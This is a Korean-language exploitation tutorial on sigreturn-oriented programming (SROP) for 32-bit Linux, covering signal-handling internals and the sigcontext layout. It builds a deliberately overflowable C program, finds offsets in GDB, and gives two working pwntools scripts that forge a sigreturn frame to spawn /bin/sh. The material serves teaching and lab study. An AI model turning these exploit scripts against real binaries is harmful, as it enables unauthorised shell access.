Excuse the ads! We need some help to keep our site up.
List
SROP(Sigreturn-oriented programming)
- SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.
- 해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있습니다.
Signal
signal은 프로세스에게 이벤트가 발생했음을 알립니다.
signal은 다른 프로세스에게 시그널을 전송 할 수 있습니다.
- signal은 원시적인 형태의 IPC(interprocess communication)로 사용 할 수 있습니다.
- signal은 자기 자신에게 시그널을 보낼수도 있습니다.
signal은 일반적으로 커널이 송신하며, 다음과 같은 이벤트 종류가 있습니다.
하드웨어 예외가 발생한 경우
사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우
Interrupt character(Control + c)
- Suspend character(Control + z)
- 소프트웨어 이벤트가 발생한 경우
- 파일 디스크립터에 입력이 발생
- 타이머 만료
- 해당 프로세스의 자식 프로세스가 종료
- signal은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행됩니다.
- 시그널 무시합니다.
- 프로세스 종료합니다.
- 코어 덤프 파일을 생성 후 프로세스 종료합니다.
- 프로세스 중지합니다.
- 프로세스의 실행을 재개합니다.
Signal handler
- signal handler는 프로그램이 특정 시그널의 기본 동작을 수행하는 대신 프로그래머가 원하는 동작을 수행하도록 변경할 수 있습니다.
- signal handler는 User Mode 프로세스에 정의되어 있고 User Mode 코드 세그먼트에 포함됩니다.
- signal handler가 User Mode 에서 실행되는 동안 Kernel Mode에서 handle_signal() 함수가 실행 됩니다.
- User Mode에서 Kernel Mode로 진입시 User Mode에서 사용중이던 context를 Kernel stack에 저장합니다.
- Kernel Mode에서 User Mode로 진입시 Kernel stack은 모두 초기화됩니다.
- 이러한 문제를 해결하기 위해 setup_frame(), sigreturn() 함수를 사용합니다.
- setup_frame() : User Mode의 stack을 설정
sigreturn() : Kernel Mode stack에 hardware context를 복사하고, User Mode stack의 원래의 content를 저장한다.
- Signal handler는 다음과 같이 처리됩니다.
- 인터럽트 또는 예외가 발생하면 프로세스는 Kernel Mode로 전환됩니다.
- 커널은 User Mode로 돌아 가기 전에 do_signal() 함수를 실행합니다.
- do_signal() 함수는 handle_signal()을 호출하여 signal를 처리합니다.
- handle_signal() 함수는 setup_frame()을 호출하여 User Mode Stack에 context를 저장합니다.
- 프로세스가 User Mode로 다시 전환되면 signal handler가 실행됩니다.
- signal handler가 종료되면 setup_frame() 함수에 의해 User Mode stack에 저장된 리턴 코드가 실행됩니다.
- 해당 코드에 의해 sigreturn() 시스템 함수가 호출됩니다.
- sigreturn() 시스템 함수에 의해 Kernel Mode Stack에서 일반 프로그램의 hardware context를 User Mode의 stack에 복사합니다.
- sigreturn() 함수는 restore_sigcontext() 을 호출하여 User Mode 스택을 원래 상태로 복원합니다
- 해당 코드에 의해 sigreturn() 시스템 함수가 호출됩니다.
- 시스템 호출이 종료되면 일반 프로그램은 실행을 재개 할 수 있습니다.
Source code
- do_signal : https://elixir.bootlin.com/linux/v4.9/source/arch/x86/kernel/signal.c#L803
- handle_signal : https://elixir.bootlin.com/linux/v4.9/source/arch/x86/kernel/signal.c#L702
- setup_rt_frame : https://elixir.bootlin.com/linux/v4.9/source/arch/x86/kernel/signal.c#L682
- sys_sigreturn : https://elixir.bootlin.com/linux/v4.9/source/arch/x86/kernel/signal.c#L602
- restore_sigcontext : https://elixir.bootlin.com/linux/v4.9/source/arch/x86/kernel/signal.c#L94
Example code
//gcc -m32 -g -o sig32 sig.c #include <stdio.h> #include <signal.h> struct sigcontext sigcontext; void handle_signal(int signum){ printf("Signal number: %d\n", signum); } int main(){ signal(SIGINT, (void *)handle_signal); while(1) {} return 0; }
Debugging
- 다음과 같이 handle_signal 함수에 Break point를 설정합니다.
- 그리고 GDB가 인트럽트에 반응하지 않도록 설정합니다.
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig32 Reading symbols from ./sig32...done. gdb-peda$ b handle_signal Breakpoint 1 at 0x8048441: file sig.c, line 9. gdb-peda$ handle SIGINT nostop pass Signal Stop Print Pass to program Description SIGINT No Yes Yes Interrupt gdb-peda$
- 다음과 같이 프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킵니다.
- bt명령어를 이용해 handle_signal 함수가 호출되지 전에 실행된 함수 목록을 확인 할 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/sig32 ^C Program received signal SIGINT, Interrupt. Breakpoint 1, handle_signal (signum=0x2) at sig.c:9 9 printf("Signal number: %d\n", signum); gdb-peda$ bt #0 handle_signal (signum=0x2) at sig.c:9 #1 <signal handler called> #2 main () at sig.c:15 #3 0xf7e1d637 in __libc_start_main () from /lib32/libc.so.6 #4 0x08048361 in _start () gdb-peda$
- 다음과 같이 0번째 Frame에서 Stack에 저장된 각 각의 레지스터 값을 확인 할 수 있습니다.
gdb-peda$ frame 0 #0 handle_signal (signum=0x2) at sig.c:9 9 printf("Signal number: %d\n", signum); gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eax $1 = 0x0 gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->esp $2 = 0xffffd590 gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eip $3 = 0x804847a gdb-peda$
- 다음과 같이 1번째 Frame의 내용을 보면 __kernel_sigreturn() 함수에서 에서 sys_sigreturn() 시스템 함수 호출합니다.
- x84에서 sys_sigreturn 시스템 함수의 번호는 0x77(119) 입니다.
- x84에서 sys_sigreturn 시스템 함수의 번호는 0x77(119) 입니다.
gdb-peda$ frame 1 #1 <signal handler called> gdb-peda$ x/3i $eip => 0xf7fd8de0 <__kernel_sigreturn>: pop eax 0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77 0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80 gdb-peda$
- 다음과 같이 signal에 대한 처리가 끝난 후에 Frame 0의 Stack에 저장된 값이 레지스터에 저장된 것을 확인 할 수 있습니다.
gdb-peda$ b 15 Breakpoint 2 at 0x804847a: file sig.c, line 15. gdb-peda$ c Continuing. Signal number: 2 Breakpoint 2, main () at sig.c:15 15 while(1) {} gdb-peda$ i r eax 0x0 0x0 ecx 0x0 0x0 edx 0x0 0x0 ebx 0x0 0x0 esp 0xffffd590 0xffffd590 ebp 0xffffd598 0xffffd598 esi 0xf7fb5000 0xf7fb5000 edi 0xf7fb5000 0xf7fb5000 eip 0x804847a 0x804847a <main+35> eflags 0x286 [ PF SF IF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$
sigreturn()
- sigreturn() 시스템 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode 돌아 올때 stack을 복원하기 위해 사용되는 함수 입니다.
- sigreturn() 함수는 stack을 복원하기 위해 restore_sigcontext()를 호출합니다.
#ifdef CONFIG_X86_32 asmlinkage unsigned long sys_sigreturn(void){ struct pt_regs *regs = current_pt_regs(); struct sigframe __user *frame; ... if (restore_sigcontext(regs, &frame->sc, 0)) goto badframe; ... } #endif /* CONFIG_X86_32 */
restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등 을 이용하여 stack에 저장된 값을 각 레지스터에 복사합니다.
즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){ unsigned long buf_val; void __user *buf; unsigned int tmpflags; unsigned int err = 0; /* Always make any pending restarted system calls return -EINTR */ current->restart_block.fn = do_no_restart_syscall; get_user_try { #ifdef CONFIG_X86_32 set_user_gs(regs, GET_SEG(gs)); COPY_SEG(fs); COPY_SEG(es); COPY_SEG(ds); #endif /* CONFIG_X86_32 */ COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx); COPY(dx); COPY(cx); COPY(ip); COPY(ax); ... }
- stack에 저장된 레지스터 값들은 restore_sigcontext()함수의 인자값 &frame->sc에 의해 전달됩니다.
#define sigframe_ia32 sigframe ... #if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION) struct sigframe_ia32 { u32 pretcode; int sig; struct sigcontext_32 sc; struct _fpstate_32 fpstate_unused; #ifdef CONFIG_IA32_EMULATION unsigned int extramask[_COMPAT_NSIG_WORDS-1]; #else /* !CONFIG_IA32_EMULATION */ unsigned long extramask[_NSIG_WORDS-1]; #endif /* CONFIG_IA32_EMULATION */ char retcode[8]; /* fp state follows here */ };
- "&frame->sc"는 sigcontext 구조체를 입니다.
즉, SROP 를 이용할 때 Stack에 다음과 같은 형태로 값을 저장해야 합니다.
# ifdef __i386__ struct sigcontext { __u16 gs, __gsh; __u16 fs, __fsh; __u16 es, __esh; __u16 ds, __dsh; __u32 edi; __u32 esi; __u32 ebp; __u32 esp; __u32 ebx; __u32 edx; __u32 ecx; __u32 eax; __u32 trapno; __u32 err; __u32 eip; __u16 cs, __csh; __u32 eflags; __u32 esp_at_signal; __u16 ss, __ssh; struct _fpstate __user *fpstate; __u32 oldmask; __u32 cr2; };
Proof of concept
Example code
//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 256); } void main(){ seteuid(getuid()); write(1,"Hello SROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x080485ab: vuln 함수 코드 첫부분
0x080485e7: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop32 Reading symbols from ./srop32...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x080485ab <+0>: push ebp 0x080485ac <+1>: mov ebp,esp 0x080485ae <+3>: sub esp,0x48 0x080485b1 <+6>: sub esp,0x8 0x080485b4 <+9>: push 0x80486c0 0x080485b9 <+14>: push 0xffffffff 0x080485bb <+16>: call 0x8048490 <dlsym@plt> 0x080485c0 <+21>: add esp,0x10 0x080485c3 <+24>: mov DWORD PTR [ebp-0xc],eax 0x080485c6 <+27>: sub esp,0x8 0x080485c9 <+30>: push DWORD PTR [ebp-0xc] 0x080485cc <+33>: push 0x80486c7 0x080485d1 <+38>: call 0x8048440 <printf@plt> 0x080485d6 <+43>: add esp,0x10 0x080485d9 <+46>: sub esp,0x4 0x080485dc <+49>: push 0x100 0x080485e1 <+54>: lea eax,[ebp-0x3e] 0x080485e4 <+57>: push eax 0x080485e5 <+58>: push 0x0 0x080485e7 <+60>: call 0x8048430 <read@plt> 0x080485ec <+65>: add esp,0x10 0x080485ef <+68>: nop 0x080485f0 <+69>: leave 0x080485f1 <+70>: ret End of assembler dump. gdb-peda$ b *0x080485ab Breakpoint 1 at 0x80485ab gdb-peda$ b *0x080485e7 Breakpoint 2 at 0x80485e7 gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0xffffd58c) - buf 변수의 시작 주소 (0xffffd54a) = 66
- 즉, 66개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/SROP/srop32 Hello SROP Breakpoint 1, 0x080485ab in vuln () gdb-peda$ i r esp esp 0xffffd58c 0xffffd58c gdb-peda$ x/wx 0xffffd58c 0xffffd58c: 0x0804862d gdb-peda$ x/i 0x0804862d 0x804862d <main+59>: nop gdb-peda$ c Continuing. Printf() address : 0xf7e49020 Breakpoint 2, 0x080485e7 in vuln () gdb-peda$ i r esp esp 0xffffd530 0xffffd530 gdb-peda$ x/3wx 0xffffd530 0xffffd530: 0x00000000 0xffffd54a 0x00000100 gdb-peda$ p/d 0xffffd58c - 0xffffd54a $1 = 66 gdb-peda$
Exploit method
- SROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
sigreturn()함수를 이용해 레지스터에 필요한 값을 저장
- ESP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
- EBX : "/bin/sh" 문자열이 저장된 주소
- EAX : execve() 함수의 시스템 콜 번호
- EIP : "int 0x80" 명령어가 저장된 주소
- CS : User Code(0x23)
- SS : User Data / Stack(0x2b)
- int 0x80 명령어 실행
- 이를 코드로 표현하면 다음과 같습니다.
sigreturn() int 0x80
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- Libc offset
- printf
- __kernel_sigreturn
"/bin/sh"명령가 저장된 영역
Gadgets
int 0x80
Libc offset
- 다음과 같이 필요한 offset을 확인 할 수 있습니다.
libc offset : printf(0xf7e49020) - libc base(0xf7e00000) = 0x49020
__kernel_sigreturn offset : __kernel_sigreturn(0xf7fd8de0) - libc base(0xf7e00000) = 0x1d8de0
"/bin/sh" offset : "/bin/sh" address(0xf7f5902b) - libc base(0xf7e00000) = 0x15902b
gdb-peda$ vmmap Start End Perm Name ... 0xf7e00000 0xf7fad000 r-xp /lib32/libc-2.23.so 0xf7fad000 0xf7fae000 ---p /lib32/libc-2.23.so 0xf7fae000 0xf7fb0000 r--p /lib32/libc-2.23.so 0xf7fb0000 0xf7fb1000 rw-p /lib32/libc-2.23.so ... gdb-peda$ p/x 0xf7e49020 - 0xf7e00000 $2 = 0x49020 gdb-peda$ p __kernel_sigreturn $3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn> gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000 $4 = 0x1d8de0 gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f5902b ("/bin/sh") gdb-peda$ p/x 0xf7f5902b - 0xf7e00000 $5 = 0x15902b gdb-peda$
Offset of __kernel_sigreturn
- 다음과 같이 __kernel_sigreturn() 함수를 Exploit에 사용할 수 있습니다.
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
- Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.
- Ex) __kernel_sigreturn() + sigcontext 구조체
- 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
gdb-peda$ x/3i 0xf7fd8de0 => 0xf7fd8de0 <__kernel_sigreturn>: pop eax 0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77 0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80 gdb-peda$
Find Gadgets
- 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
OS | ASLR | Gadget | Memory Map | Fixed Memory Location |
---|---|---|---|---|
Linux i386 | sigreturn | [vdso] | ||
Linux x86-64 | sigreturn | Libc | ||
Linux < 3.3 x86-64 | syscall & return | [vsyscall] | 0xffffffffff600000 | |
Linux ≥ 3.3 x86-64 | syscall & return | Libc | ||
FreeBSD 9.2 x86-64 | sigreturn | 0x7ffffffff000 | ||
Mac OSX x86-64 | sigreturn | Libc | ||
iOS ARM | sigreturn | Libsystem | ||
iOS ARM | syscall & return | Libsystem | ||
Linux < 3.11 ARM | sigreturn | [vectors] | 0xffff0000 |
- 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인 할 수 있습니다.
gdb-peda$ p __kernel_sigreturn $6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn> gdb-peda$ x/3i 0xf7fd8de0 0xf7fd8de0 <__kernel_sigreturn>: pop eax 0xf7fd8de1 <__kernel_sigreturn+1>: mov eax,0x77 0xf7fd8de6 <__kernel_sigreturn+6>: int 0x80 gdb-peda$ vmmap Start End Perm Name ... 0xf7fd5000 0xf7fd8000 r--p [vvar] 0xf7fd8000 0xf7fda000 r-xp [vdso] ... gdb-peda$
CS(Code segment) & SS(Stack Segment)
SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.
sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.
Linux kernel에는 4개의 세그먼트만 존재합니다.
- 공격 코드들은 User Mode에서 실행되기 때문에 User Code, User Data / Stack 값을 사용해야 합니다.
- 그리고 32bit 프로그램의 경우 실행되는 운영체제(32bit / 64bit) 환경에 따라 사용되는 세그먼트 값이 다릅니다.
- 32bit 운영체제에서는 0x73, 0x7b가 사용횝니다.
- 62bit 운영체제에서는 실행되는 32bit 프로그램의 경우 0x23, 0x2b가 사용됩니다.
이외의 값을 저장하게 되면 에러가 발생하게됩니다.
Purpose | Segment(32bit) | Segment(64bit - 32bit) |
---|---|---|
Kernel Code | 0x60 | 0x8 |
Kernel Data / Stack | 0x68 | 0x18 |
User Code | 0x73 | 0x23 |
User Data / Stack | 0x7b | 0x2b |
#ifdef CONFIG_X86_32 ... #define GDT_ENTRY_TLS_MIN 6 #define GDT_ENTRY_TLS_MAX (GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1) #define GDT_ENTRY_KERNEL_CS 12 #define GDT_ENTRY_KERNEL_DS 13 #define GDT_ENTRY_DEFAULT_USER_CS 14 #define GDT_ENTRY_DEFAULT_USER_DS 15 #define GDT_ENTRY_TSS 16 #define GDT_ENTRY_LDT 17 #define GDT_ENTRY_PNPBIOS_CS32 18 #define GDT_ENTRY_PNPBIOS_CS16 19 #define GDT_ENTRY_PNPBIOS_DS 20 #define GDT_ENTRY_PNPBIOS_TS1 21 #define GDT_ENTRY_PNPBIOS_TS2 22 #define GDT_ENTRY_APMBIOS_BASE 23 #define GDT_ENTRY_ESPFIX_SS 26 #define GDT_ENTRY_PERCPU 27 #define GDT_ENTRY_STACK_CANARY 28 #define GDT_ENTRY_DOUBLEFAULT_TSS 31 /* * Number of entries in the GDT table: */ #define GDT_ENTRIES 32 /* * Segment selector values corresponding to the above entries: */ #define __KERNEL_CS (GDT_ENTRY_KERNEL_CS*8) #define __KERNEL_DS (GDT_ENTRY_KERNEL_DS*8) #define __USER_DS (GDT_ENTRY_DEFAULT_USER_DS*8 + 3) #define __USER_CS (GDT_ENTRY_DEFAULT_USER_CS*8 + 3) #define __ESPFIX_SS (GDT_ENTRY_ESPFIX_SS*8)
#else /* 64-bit: */ #include <asm/cache.h> #define GDT_ENTRY_KERNEL32_CS 1 #define GDT_ENTRY_KERNEL_CS 2 #define GDT_ENTRY_KERNEL_DS 3 /* * We cannot use the same code segment descriptor for user and kernel mode, * not even in long flat mode, because of different DPL. * * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes * selectors: * * if returning to 32-bit userspace: cs = STAR.SYSRET_CS, * if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16, * * ss = STAR.SYSRET_CS+8 (in either case) * * thus USER_DS should be between 32-bit and 64-bit code selectors: */ #define GDT_ENTRY_DEFAULT_USER32_CS 4 #define GDT_ENTRY_DEFAULT_USER_DS 5 #define GDT_ENTRY_DEFAULT_USER_CS 6 /* Needs two entries */ #define GDT_ENTRY_TSS 8 /* Needs two entries */ #define GDT_ENTRY_LDT 10 #define GDT_ENTRY_TLS_MIN 12 #define GDT_ENTRY_TLS_MAX 14 /* Abused to load per CPU data from limit */ #define GDT_ENTRY_PER_CPU 15 /* * Number of entries in the GDT table: */ #define GDT_ENTRIES 16 /* * Segment selector values corresponding to the above entries: * * Note, selectors also need to have a correct RPL, * expressed with the +3 value for user-space selectors: */ #define __KERNEL32_CS (GDT_ENTRY_KERNEL32_CS*8) #define __KERNEL_CS (GDT_ENTRY_KERNEL_CS*8) #define __KERNEL_DS (GDT_ENTRY_KERNEL_DS*8) #define __USER32_CS (GDT_ENTRY_DEFAULT_USER32_CS*8 + 3) #define __USER_DS (GDT_ENTRY_DEFAULT_USER_DS*8 + 3) #define __USER32_DS __USER_DS #define __USER_CS (GDT_ENTRY_DEFAULT_USER_CS*8 + 3) #define __PER_CPU_SEG (GDT_ENTRY_PER_CPU*8 + 3) /* TLS indexes for 64-bit - hardcoded in arch_prctl(): */ #define FS_TLS 0 #define GS_TLS 1 #define GS_TLS_SEL ((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3) #define FS_TLS_SEL ((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3) #endif
Exploit code
- 다음과 같이 Exploit code를 작성 할 수 있습니다.
from pwn import * binary = ELF('./srop32') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) #You need to change the value to match the environment you are testing. libcBase = stackAddr - 0x49020 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b ksigreturn = libcBase + 0x1d5de0 print 'The base address of Libc : ' + hex(libcBase) print 'Address of syscall gadget : ' + hex(syscall) print 'Address of string "/bin/sh" : ' + hex(binsh) print 'Address of sigreturn() : ' + hex(ksigreturn) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) exploit += p32(0x0) exploit += p32(0x0) #GS exploit += p32(0x0) #FS exploit += p32(0x0) #ES exploit += p32(0x0) #DS exploit += p32(0x0) #EDI exploit += p32(0x0) #ESI exploit += p32(0x0) #EBP exploit += p32(syscall) #ESP exploit += p32(binsh) #EBX exploit += p32(0x0) #EDX exploit += p32(0x0) #ECX exploit += p32(0xb) #EAX exploit += p32(0x0) #trapno exploit += p32(0x0) #err exploit += p32(syscall) #EIP #Runed a 32bit program in the 64bit operation system. exploit += p32(0x23) #CS exploit += p32(0x0) #eflags exploit += p32(0x0) #esp_atsignal exploit += p32(0x2b) #SS #Runed a 32bit program in the 32bit operation system. #exploit += p32(0x73) #CS #exploit += p32(0x0) #eflags #exploit += p32(0x0) #esp_atsignal #exploit += p32(0x7b) #SS p.send(exploit) p.interactive()
- pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
from pwn import * binary = ELF('./srop32') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) #You need to change the value to match the environment you are testing. libcBase = stackAddr - 0x49020 ksigreturn = libcBase + 0x1d5de0 syscall = libcBase + 0x1d5de6 binsh = libcBase + 0x15902b print 'The base address of Libc : ' + hex(libcBase) print 'Address of syscall gadget : ' + hex(syscall) print 'Address of string "/bin/sh" : ' + hex(binsh) print 'Address of sigreturn() : ' + hex(ksigreturn) exploit = '' exploit += "\x90" * 66 exploit += p32(ksigreturn) #ret exploit += p32(0x0) #Runed a 32bit program in the 64bit operation system. frame = SigreturnFrame(kernel='amd64') #Runed a 32bit program in the 32bit operation system. #frame = SigreturnFrame(kernel='i386') frame.eax = 0xb frame.ebx = binsh frame.esp = syscall frame.eip = syscall exploit += str(frame) p.send(exploit) p.interactive()
Related site
- http://egloos.zum.com/studyfoss/v/5182475
- http://docs.pwntools.com/en/stable/rop/srop.html
- http://www.freebuf.com/articles/network/87447.html
- http://blog.leanote.com/post/3191220142@qq.com/SROP
- http://blackbunny.io/x64-sigreturn-oriented-programming/
- https://en.wikipedia.org/wiki/Sigreturn-oriented_programming
- https://books.google.co.jp/books?id=h0lltXyJ8aIC&dq=setup_frame&hl=ko&source=gbs_navlinks_s
- https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/